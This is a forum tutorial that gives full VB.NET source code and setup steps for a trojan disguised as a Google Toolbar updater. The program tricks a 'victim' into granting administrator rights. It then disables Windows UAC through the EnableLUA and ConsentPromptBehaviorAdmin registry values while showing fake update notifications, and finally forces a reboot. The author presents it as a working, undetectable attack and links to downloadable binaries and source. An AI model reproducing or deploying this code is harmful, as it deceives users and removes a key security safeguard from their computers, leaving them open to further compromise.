tutorial

(Guess the preview function is broken o.O so expect edits for a while ^^)

Hello everyone, today I will show you a basic way to kill the Windows 7 / Vista's UAC control.

To do this we are going to rely on two thing:

1.) The victims natural ability to trust known applications (Social Engineering)
2.) Basic knowledge of vb.net to keep the program fully undetected.
----------------------------------------------------------------------------------------------

To start off we will need to create a new Project.

http://img408.imageshack.us/img408/770/12679432.png

You can of course name it what ever you want but for the tutorials sake I named it UAC Bypass. (Even though it is actually a killer hehe)

Next up we need to add a few controls to out form. I will have the application run hidden while displaying messages to the user through a timed delay, along with those messages I will add a friendly looking notification icon within the users tray to give them an update on well.. the update.

To do the above I am going to add two controls; A Timer, and a Notification Icon.

To add a new control to your form look at your toolbox on the left side of the screen and drag/drop the control onto your form, once you get the two controls added your form should look something like this:

http://img691.imageshack.us/img691/5348/49452042.png


Once you have the two controls added to your application head over to its properties (on the right side of the screen apposing the toolbox) and change the fallowing settings:

Opacity: 0%
Show Icon: False
Show In Taskbar: False
Windows State: Minimized

http://img156.imageshack.us/img156/4336/70893126.png


After that we head into our project's properties

http://img192.imageshack.us/img192/3628/23083517.png


And change the Assembly name and the Root namespace to make it seem more trusting (Now you can have these changed to something more trusting by default when you create the application, if you created the application with the name "GoogleTBupdate" then those two fields would already say what we are about to make it say)

Assembly Name: GoogleTBupdate
Root Namespace: GoogleTBupdate


http://img171.imageshack.us/img171/4841/57173400.png


Next up we head over into our Assembly information and make it change it accordingly:
http://img375.imageshack.us/img375/5958/26463599.png

Click OK and then move on into UAC Settings and change the fallowing line of code:

Change:
Code: [Select]
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
To:
Code: [Select]
<requestedExecutionLevel  level="requireAdministrator" uiAccess="false" />
This will force the application to execute with administrative access helping us out later in the line, now you may be wondering "Why would the user run this as admin?" it is simple, because when we changed our assembly information we changed what it says on the "Requesting Administrative Control" prompt, it will now ask if GoogleTBupdate can have administrative control. Because of this people will be more trusting to allow it to run.

Congrats! You completed step one, now that your application setup we can begin programing!

==To get into the coding console just double click on your form.==

We will start off by importing Microsoft.Win32, to do that we will add the fallowing line of code to the very top of the console (Above public class Form1)

Code: [Select]
Imports Microsoft.Win32
From here we should see this in our console:

Quote
Imports Microsoft.Win32

Public Class Form1
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    end sub
end class

Now, Vista users do not have to restart in order to have their UAC settings saved, however, Windows 7 users do. Considering this we will need to program a way for the application to identify the current OperatingSystem and to take necessary actions. To do this we will declare a statement and give it the value containing the name of their OS. We do this through the Dim command as seen bellow:

Quote
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
         dim OS as string
         OS = My.Computer.Info.OSFullName
    end sub

What the above basically said was that we created a new value with the name OS and that OS was equal to the current computers full Operating System's name.

Next we need to tell the program what to do if the OS is running Vista or Win. 7, we will do this using an If/Then statement. I will explain the fallowing code in detail bellow:
Quote
Public Class Form1
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim OS As String
        OS = My.Computer.Info.OSFullName
        If OS.Contains("Vista") = False Then
            NotifyIcon1.Visible = True
            NotifyIcon1.BalloonTipTitle = "Google ToolBar Update"
            NotifyIcon1.BalloonTipText = "Downloading and Installing the Latest Build of Google ToolBar..."
            NotifyIcon1.BalloonTipIcon = ToolTipIcon.Info
            NotifyIcon1.ShowBalloonTip(10000)
            Timer1.interval = 30000
            Timer1.Start()
        Else
            Dim UAC As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", True)
            UAC.SetValue("EnableLUA", 0)
            Dim UACbp As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", True)
            UACbp.SetValue("ConsentPromptBehaviorAdmin", 0)
            NotifyIcon1.Visible = True
            NotifyIcon1.BalloonTipTitle = "Google ToolBar Update"
            NotifyIcon1.BalloonTipText = "Downloading and Installing the Latest Build of Google ToolBar..."
            NotifyIcon1.BalloonTipIcon = ToolTipIcon.Info
            NotifyIcon1.ShowBalloonTip(10000)
            Timer1.interval = 30000
            Timer1.Start()
        End If
    End Sub

What the If/Then statement is doing is telling the application "Hey, if they are not running Vista then do this first. But if they are running vista then do this."

==Windows 7 Portion==

Because Win 7 needs a reboot in order to apply the settings and the security center notifies the user that the UAC settings have been changes we need to apply these changes then reboot as fast as possible, so we will apply these changes at the end.

Notifyicon1.* calls up the notifyicon control and tells it what to do and is pretty self explanatory.

Timer1.interval = 30000 tells the timer control to wait 30000 milliseconds (30 seconds) and then execute its action, at the moment after the 30 seconds are over nothing will happen, but we will change that shortly.

==Windows Vista Portion==

Because windows Vista does not need to reboot in order to change its settings and we can disable a user notified message we will apply said changes sooner than later.

Quote
Dim UAC As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", True)
            UAC.SetValue("EnableLUA", 0)
            Dim UACbp As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", True)
            UACbp.SetValue("ConsentPromptBehaviorAdmin", 0)
The above is the heart and sole of the whole application, if this code segment fails then the entire application would have been pointless.

What we are doing is declare a new statement named UAC that will take on the registry key given.
after that we tell our statement to give the registry key the given value (in this case we are given the registry key "EnableLUA" the value of 0 (off).
Then we do the same with the next statement UACbp to disable the "Would you like to run this crap as admin?" prompt.

After that we use the same notifyicon and timer commands.

==The Timer==

Now that we have our application doing something when it starts up we need to tell it to do something when the timer reaches 30 seconds.

I will explain the code in detail bellow:
Quote
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim OS As String
        OS = My.Computer.Info.OSFullName
        If NotifyIcon1.BalloonTipText = "Update Installed!" = False Then
            NotifyIcon1.BalloonTipTitle = "Google ToolBar Update"
            NotifyIcon1.BalloonTipText = "Update Installed!"
            NotifyIcon1.BalloonTipIcon = ToolTipIcon.Info
            NotifyIcon1.ShowBalloonTip(5000)
            Timer1.Interval = 10000
        Else
            If OS.Contains("Vista") Then
                End
            Else
                MsgBox("Google ToolBar will now reboot the system.", MsgBoxStyle.Information, Title:="Google ToolBar Update Notification")
                Dim UAC As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", True)
                UAC.SetValue("EnableLUA", 0)
                Dim UACbp As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", True)
                UACbp.SetValue("ConsentPromptBehaviorAdmin", 0)
                System.Diagnostics.Process.Start("shutdown", "-r -t 00")
            End If
        End If
    End Sub

You may recognize the OS string again and you may be wondering why we need to use it again, well it is simply because when used within a sub the dim command will only refer to that sub.

Onto the first IF/Then statement, what it is saying is "If the notifyicon does not say that the update is installed then we need to make it say that, if not then we move on to the next segment of code"

The next IF/Then statement says "If the OS contains Vista then we can close the application (End), but if not then we need to apply the registry changes and restart the computer ASAP"

Once we finish coding our timer we are done! Just compile the application and everything should work perfectly, if not then you did something wrong.

Download program set: http://www.multiupload.com/MI2M1V6BRS

Download Source: http://www.multiupload.com/F1KBRB350Z

.:: Tutorial and Method Written and Coded By Kamakzy56 ::.

I do Not give you permission to edit and re-use this tutorial on other forums or websites
I do give you permission to modify the source file any way you want.
I do Not give you permission to say you where the original one to come up with this method.